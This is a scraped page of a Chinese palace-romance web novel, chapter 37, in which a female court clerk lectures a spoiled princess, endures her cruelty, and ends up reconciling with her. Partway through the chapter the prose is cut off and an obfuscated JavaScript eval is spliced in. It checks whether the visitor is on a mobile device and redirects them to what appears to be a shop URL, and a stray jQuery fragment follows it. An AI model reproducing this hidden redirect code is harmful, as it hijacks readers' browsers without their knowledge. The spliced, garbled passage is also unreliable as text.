默认冷灰
24号文字
方正启体

38. 第三十七章

作者:伊衔青书本书字数:K更新时间:
    这三日,她连夜奋笔疾书,翻阅典籍,勤奋得连与她同处一室的玉兰姐也大跌眼镜,谁不知道她在吃、睡、钱、上研究钻研颇深,每次下值回来洗漱,钻进被窝就睡,如一头死猪。


    唬得马玉兰每次进出值房,都要捻脚捻手,生怕弄出一点声响。


    夏公公来的时候,程鱼脸上带着笑抱着怀里的几叠草纸递给了他。


    夏公公怀里揣着草纸仿佛捧着能随时点燃的炸药,心里隐隐不安,觉得发慌道:“程女史,今儿个是我上值,你不会坑我吧?”


    想起上次的事,他心隐隐发毛,今儿个干爹不在,上次的事是他好说歹说才让皇上消了气。


    程鱼拍了拍胸脯道:“怎么会?!夏公公我是那种和陛下开玩笑的这种人吗?你就放心吧!这次绝对没有任何问题。”


    笑话,抄个东西而已,能有什么问题。


    夏公公道:“你可注意些吧!万一皇爷发怒,殃及了干爹和我,我要你好看!”


    谁会那么笨天天惹别人生气。


    程鱼哼了一声,“今日景阳宫大殿开着,昨夜公主身边的人喊我,我还有事,先走了啊!”


    夏公公读书不多,是严正平一手提拔走到今天这个位置,无非就是想混吃等死,他展开程鱼写的草纸上面密密麻麻的,不知道写得什么东西,他头一横收了起来往皇极殿走去。


    程鱼来到景阳宫宫门前深呼一口气,心里默念重复三遍:她是来讲学,来讲学,来讲学,不管对方说什么她就当耳旁风,当空气,来讲学不是来送命,遇到情况不对立刻就走。


    她在心里三番四次的鼓作自己,随后下定决心,目光坚定如身临大敌般道:“走!”


    因与公主府的人提前商议好,所以一早在景阳宫前等候,宫女见她来便急忙前去通报,等了几乎两柱香的时辰,景阳宫的翠儿二话不说就直接拎着她到殿里。


    景阳宫正殿大门敞开着,殿内的窗棂是用螺钿制成,半透不透,朦胧又美,殿内混着木头的沉香味儿和浓浓的茉莉花香。


    翠儿将她引到大殿中央,拨开珠帘,主位上方隔着一个刻有茉莉浮雕花纹的屏风,她看不到人,只能隔着屏风看到后面的人影。


    一道清脆悦耳的声音朝屏风里面传过来,“翠儿?”


    她踩在地衣上,软绵的触感让她下意识地低头看了一眼,这是八百两一尺的黑狐皮,她记得祯和有一块这样的冕服。


    昨日她听景阳宫里的人说,祯和来了一趟景阳宫不知与公主说了什么,今日竟突然想要女官来讲学。


    两名侍女端着糕点站在两旁,翠儿上前道:“公主,程掌记到了。”


    程鱼走到大殿中朝着放有屏风方向行礼,“奴婢见过公主。”


    永宁一手托着脑袋连眼睛都没睁开道:“就是你向我父皇告的状?”


    程鱼回道:“回公主的话,奴婢并没有向陛下告状。”


    永宁掀开一只眼睛道:“没有?那为什么父皇只听你这么一说,便让夏公公来景阳宫传话!”


    程鱼道:“是陛下突然问起公主最近的功课,奴婢见是陛下提前知道公主拒绝讲学的事,奴婢想着与其遮遮掩掩不如实情相说,能少惹陛下生气,为公主生事。”


    她突然咬到舌尖,恨一到关键时刻,自己的这张嘴就跟白长了一样,不知道该说什么,说得太动听顺其人意,就显得太谄媚不真诚,若说得实话,又怕说错了话惹了不快,遭殃的又是自己。


    上面传来一阵冷呵,有人在轻轻低笑,“本公主看,你是为了给自己开罪吧?”


    永宁坐了起来,身旁的宫女翠儿立即端来一盆水伺候她洗漱,“上次本公主还记得你为一名大臣说了话,父皇听了很是满意,还破格让他入了翰林院。”


    大臣?


    她怎么听这话有些迷糊,后宫不能干政,陛下怎么会听她一句话破格让一位大臣入了翰林院,她有多大的脸?


    程鱼道:“公主,奴婢身份低贱不能议论朝政,关于官员升迁之事,从来都是前朝吏部和陛下能左右的事,奴婢不断然不敢议论。”


    永宁轻轻啧了一声,胸腔中莫名地生出一股气,把手上的毛巾狠狠往水盆上一摔,“后宫都传遍了,不是你?还能是本公主做的?”


    程鱼皱了皱眉,公主能这般说,那想必这并不是空穴来巢,上次皇上只是为了考她学问,她答得不错做了女官,却没想到因为她的一句话左右了一个大臣的去留。


    她实在不想在自己脸上贴金,若真是这样,皇上干嘛还让她做一个八品的女官。再说选谁入翰林都是皇上自己的主意,怕不是皇上心中已经有了主意,又不敢说出口,以此要问她这个来自后宫无关的人,都是碰巧罢了。


    程鱼看了看大殿的漏刻,已经到了午时,中饭的时辰,若再不进入正题,走到饭堂就没吃的了。


    程鱼道:“奴婢...”


    一股浓烈的香味逼近,屏风后走出一位艳丽的少女,她头上梳着双髻,脚上踩着云头履,玄色花袄,鹅黄色绣茉莉的裙。


    她挺着胸仰着脸看着程鱼。


    永宁比她矮了一头,脸蛋圆圆的,一双乌瞳,明明是一个粉粉嫩嫩的小姑娘。


    程鱼瞪大了双眼。


    好可爱!


    她简直不敢相信,宫中所传言的事,说她心肠歹毒,心狠手辣打死了一名女官,眼前这么无辜可爱的少女,怎么可能做那种事!


    一定是谣言,是宫里有人造谣的公主!


    永宁见她盯着自己恶狠狠道:“你在看什么?再看信不信本公主把你眼珠子挖出来!”


    程鱼见她凶巴巴的模样,猛得闭上一只眼,另一眼还在看,“奴婢没看。”


    好凶。


    永宁气得想打人,来回跺了几下脚,恶狠狠地指着她道:“你再看一眼试试!”


    “翠儿!”


    程鱼连忙把头扭到别处,“公主,奴婢不再看了,您看...什么时候开始讲学呢?”


    “若公主实在忙碌不如等到末时,奴婢再来?”


    永宁轻呵一声道:“你要知道得罪本公主的下场,翠儿将她摁在地上跪下为本公主讲学。”


    翠儿二话不说地将她摁在地上,扑腾一下,她的双膝磕到了青石板上。


    又跪!?


    她收回刚才公主可爱的话,对她的坏评信上三分。


    永宁在上面唠唠叨叨,“程女史,本公主不喜欢被人俯视,你还是跪着给本公主讲学吧!”


    程鱼道:“是。”


    她知道这是公主在故意为难,不过也就一两个时辰,等到读完她立马就走,只是可惜的是错过了午时的饭,也不知道玉兰姐会不会给她留一碗。


    她展开《女诫》开始念第一段,声音洪亮吐字清晰,尽量让她挑不出错。


    可是,她还是错看了这位公主的刁蛮。


    永宁一边用着糕点一边故意打断她,又把吃完的糕点渣子吹到她脸上,亦或是故意用火苗点到她衣袍,让她的裙子烧成一个大窟窿,等到她换过衣袍,她的书本上全是浓墨,根本看不清字。


    她凭借着记忆,复述一遍,要不然就是没有听清使她再重头到尾再讲解一遍,还把大殿里面熏得满满到处都是呛人的浓烟,让她口干舌燥再也讲不出话。


    程鱼紧紧攥着书本,她再也忍无可忍,一怒之下从地上站起来。


    这举动倒是让永宁吓了一跳,“放肆!你干什么!”


    随后有十几个宫女围了上来,似乎只要她一有动作,就立刻扑上来生擒了她。


    她的怒气一下子降到冰点,这位公主可是打死过女官,万一上次的女官也是这般惹到了公主,她不就是着了公主的道。


    不能顺了她的意。


    一顿饭而已,怎么能比命重要,以后等她赚了大钱要吃什么就吃什么。


    想到这里,她又慢慢地跪了下去,继续讲学。


    虽然她很生气,但也只不过是小二科的把戏,以为她就这么容易退缩?


    她不肯退,永宁捉弄了人,但见她仍然坚持给她讲学,心情也没有好多少,又气上加气,憋在心口一直发不出去。


    她眼睛一转,想到了更好玩的事,随后在翠儿耳朵旁说了句话。


    旁边的翠儿是公主的心腹,听到她这么一讲,脸色有些为难。


    “公主,奴婢觉得您实在不必跟一个女官置气,上次的事陛下已经知道了,你再这样做,陛下一定会怪罪您的。”


    永宁道翻了个白眼,“我堂堂公主会怕她?父皇哪里我自会说清,你快去吧!”


    翠儿有些作难,但不得不去。


    程鱼见翠儿听了公主的话跑了出去,心里顿时有些发慌,连讲话的气势都变弱了。


    永宁扬眉看了她一眼,她本来就到了及笄之年眼看就要出嫁。她瞧不上其他纨绔子弟,只喜欢有才华正直的男人,她见过一个十分的惊艳的人,一心被那人所吸引,期盼着能嫁他为妻,结果却被眼前这个女人一手搅浑。现在他入了翰林,以后前途无量,她此生再无希望。


    本来历朝公主要下嫁给庶民男子为妻,她已经很不满了,为了嫁给杨郎她特求父皇以照顾幼弟为由延缓成婚。


    现在她的计划,全都被她给浇灭了!


    她今天非要上赶着来,就别怪她不客气!


    程鱼终于讲完她合上书,这中间没有人来打扰,也没有人来搞破坏,很是轻松自在。


    可越是宁静,她越是恐慌,她总觉得这个公主又在找其他法子整她。


    她想从地上站起来。


    永宁提醒她道:“程女官,本公主还没让你走。”


    程鱼心下一沉,看来逃不掉了,她原以为这公主只是爱捉弄人而已,但隐约中她发觉,公主像是在报仇,她们也是第一次见,为何要这样。


    永宁道:“怎么你怕了?”


    她从上面的软榻站起,心中怒火焚烧,往前几步,脚尖却不小心碰到案桌旁边的矮凳,摔在地上,而放在桌子上的火盆突然倾斜朝公主的脸上砸去。


    程鱼下意识地起身护住地上的公主,哐当一声,火盆砸到了她的脊背上。


    她闷哼了一声,背上有强烈的灼烧感,她轻轻地问了一声,“公主,你没事吧?”


    永宁皱着眉语气生硬,还带了些不可察觉的颤抖,“我没事,你快起开...压到我了。”


    翠儿听到里面的声响赶紧跑进殿内,看到程鱼竟压在公主身下,地上一片狼藉,她赶紧让人来救火。


    翠儿扶起公主,随后斥责程鱼。


    “大胆奴婢!来人啊!程司记竟然冒犯公主....”


    永宁打断翠儿的话道:“你先下去,刚才的事谁也不要乱说。”


    翠儿欲言又止,看了一眼受伤的程鱼,随后只能将大殿收拾好,退了出去。


    永宁道:“你为什么救我?”


    她从小身边只有已故的母亲和心腹翠儿能为她做到如此,而这个被她百般折辱的女官竟然将在护在身下。


    程鱼道:“奴婢只是不知如何惹了公主不快,公主要这般为难奴婢,况且奴婢没有不救人的道理。”


    永宁怒极,将手中的茶盏砸到一旁道:“还不都是你的错!”


    程鱼眉头一跳,是她的错?


    她不喜欢听着些讲学,大可扯嗓子吼一吼,她们大可以互相探讨一下。她是为了上值应付皇上,也并不是真的想传授什么,毕竟她自己也不是特别遵守书本上面的规矩。


    永宁气得乱捶榻上的软枕,“都是你的错,都是你的错!本公主喜欢杨郎,你害得我不能嫁给他!”


    杨郎?


    程鱼讶住,半天说不出一句话道:“你,你竟然喜欢杨大人?”


    永宁泪眼汪汪道:“哪有怎么样,你管我!还是说不行?”


    程鱼苦笑不得,连忙摆手。


    谁敢管你。


    永宁又道:“虽然我只但见过他几次,没说过话,足以让我爱上。”


    程鱼张了张嘴巴,公主没出过门,对名男子一见钟情也不是不可能。


    “杨大人可是有家室的人,有妻子和孩子啊!”


    她本来也不能嫁啊!


    永宁道:“那又如何!若我能嫁了他,将他老婆孩子好好安顿就是了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511661|203026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>程鱼不太理解,难道今天她是因为喜欢杨大人才捉弄她的?


    可她又不惦记人家。


    程鱼道:“可这不管奴婢的事啊!公主!”


    “你还说不管你的事!”永宁积压的委屈一下子全爆发出来,大声吼道:“你为什么要帮他!?因为你本公主错过了!本公主掐准他考进士的那天让人偷偷散布谣言,只要他落榜,不在朝中当官,我就有机会,可是,可是都给你破坏了!”


    她十分同情公主,太祖为了防外戚,公主不能与大臣成婚,只能下嫁给庶民。


    程鱼见过杨大人脆弱的一面,后来又觉得他很奇怪,一家子人也很奇怪像是藏有见不得人的秘密。


    她只不过送了几次瓜果蔬菜,后来只想远离。


    杨大人那样的人应该不会为了荣华富贵而去求娶公主吧。


    她不懂他们。


    程鱼看着眼睛都哭肿的公主安慰道:“你早就错过了,人家杨大人早就成亲了。公主你是天上的凤凰干嘛要落在一颗有主的树上?你可不要巧取豪夺啊!拆人姻缘会有因果报应,你想开点嘛,别在一棵树上吊死,大明还是有很多好看又知风趣的男人。”


    永宁道:“不要!不要!我都不喜欢,那些多庸俗啊!”


    程鱼眨了眨眼道:“公主,你喜欢一个人是只看皮囊还是看他的才华和品性。”


    永宁道:“本公主当然都看,若是嫁给一个粗俗不堪的人,还不如死了算了!”


    程鱼道:“这个简单!”


    永宁道:“如何简单,我要杨大人那样的男子,你能找来吗?”


    程鱼道:“挑挑总会有平替的。”


    永宁还是开心不起来,她多么希望身份能是个平常百姓家的小姐,而不是皇室的公主。


    程鱼道:“别难过了公主,你一定会找到适合自己的如意郎君。”


    永宁觉得她话说的很有道理,可是她还是不服气,很难受。


    “做公主真苦,连自己的夫君都不能挑自己喜欢的,憋屈的还不如一些贱民!”


    程鱼原本不想说这些,但是她见过灾民,那些被卖到贱窑精神上、肉|体上被折磨的女子,听到这些话她实在不能容忍,只能垂下眼睛。


    “公主的苦确实不能与别人相提并论,只是奴婢进宫前见过很多事,有些姑娘,她们最大的苦,是连“想”的资格都没有,公主能为一个想得到却得不到的人伤心在她们看来,或许已经是一种幸福了。”


    “公主之前杖毙的女官,难道她就不想吗?”


    永宁顿了顿,抬起头双目紧紧盯着她,像是要把她撕碎了。


    程鱼嘴角一抽,赶紧跪在地上补救,“奴婢失言了,但只是觉得公主能把眼光放在自己身上,那样会开心很多。”


    永宁听到她说了这么多,还提到那个女官,咬了咬嘴唇,埋在枕间的头猛得抬了起来,双眼瞪得很圆,声音更尖更利,泪水一滴又一滴地留下来。


    她立刻想叫人把这个胆大包天的女官拖出去打一顿,但是她却被那几句话狠狠地呛住,若是她这样做了岂不是证明她说的打死人的罪证坐实了。


    她一肚子的委屈没有地方宣泄,原来大家都是这般想她的,她这么恶毒,这么心狠手辣,父皇叫我来学女诫不也是为了这个原因?!


    她望着程鱼那双毫无畏惧的眼睛,“你说的对,是我错了程司记,我不该那样对你。”


    “你以为...我想吗?”


    “之前那个女官不是本公主故意打死的,本公主只是想给她一些教训,没想到底下的人为了符和我的意,把她往死里打。”


    “我已经给她家人赔礼和银两了,父皇还因此训斥了我,你还想要我怎么样啊!”


    程鱼察觉自己说话太冲,看着她脆弱的样子,随后垂下双眸,“对不起,是我没有了解清楚就把错全怪在你身上。”


    永宁把脸又埋在枕头里道:“你走,你给我走!”


    她哭得撕心裂肺,外面的侍女进来拉住程鱼的手臂往外拽。


    程鱼站在原地不知所措,她惹了公主,心里很愧疚,刚刚不能说那些话,她一时忘了自己是什么身份。


    她不能忽略了公主的感受。


    “公主我不走。”


    永宁爬在榻上哭得很伤心,一边抽泣一边道:“你怎么还不快滚!”


    程鱼沉思了一会儿道:“公主还在生气,奴婢不能滚...”


    永宁被她气笑了,父皇怎么给她找个一个这么笨的人。


    “你不就是怕父皇怪罪你,本公主不说就是了,你快走,我不想看见你。”


    程鱼认真道:“此言差矣,圣上让奴婢来为公主讲学并非是因为这个,圣上还是很看重公主,奴婢见圣上一提起公主您,眼神飘渺似乎想起了一个人,眼里十分地悲痛,奴婢觉得圣上这是在补偿你,是期望想让你成为一个才女。”


    永宁听到此话,从枕间慢慢抬起头,眼睛又红又肿,一张满是泪痕的脸,她看了程鱼半天,用嘶哑的声音缓缓道:“你...说的,都是真的?”


    程鱼点了点头,伸出四根手指,“奴婢发誓,绝无半点虚言,都是真的,圣上还是对你很疼爱。”


    “不信奴婢给你学学。”她怕公主不信,学着祯和的模样摇头晃脑,抚着下巴叹了一口气,“程司记啊!你要多些书呀!你这些才学怎么教公主,规矩也要学,以身作则....”


    永宁抹了抹脸上的泪,噗嗤一下笑了,“你胆子真大,竟敢编排父皇。”


    程鱼道:“这不是都是奴婢为了哄公主嘛!公主不也笑了?说明奴婢学得还挺像。看得出来公主是一个有性格的女子,若是公主以后不喜欢听这些讲学,左耳朵进右耳朵出就好了,奴婢可以跟你聊聊其他的,比如话本、哪个东西好吃、那个东西不好吃,怎么样?”


    永宁轻哼了一声,从软榻上坐起来,有摆起公主的架势,“不!以后程司记要好好教我学识,我要多读书,多写字!”


    程鱼道:“好!”


    “那奴婢跟公主这件事,就一笔购销了?”


    永宁道:“那要看本公主的心情。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)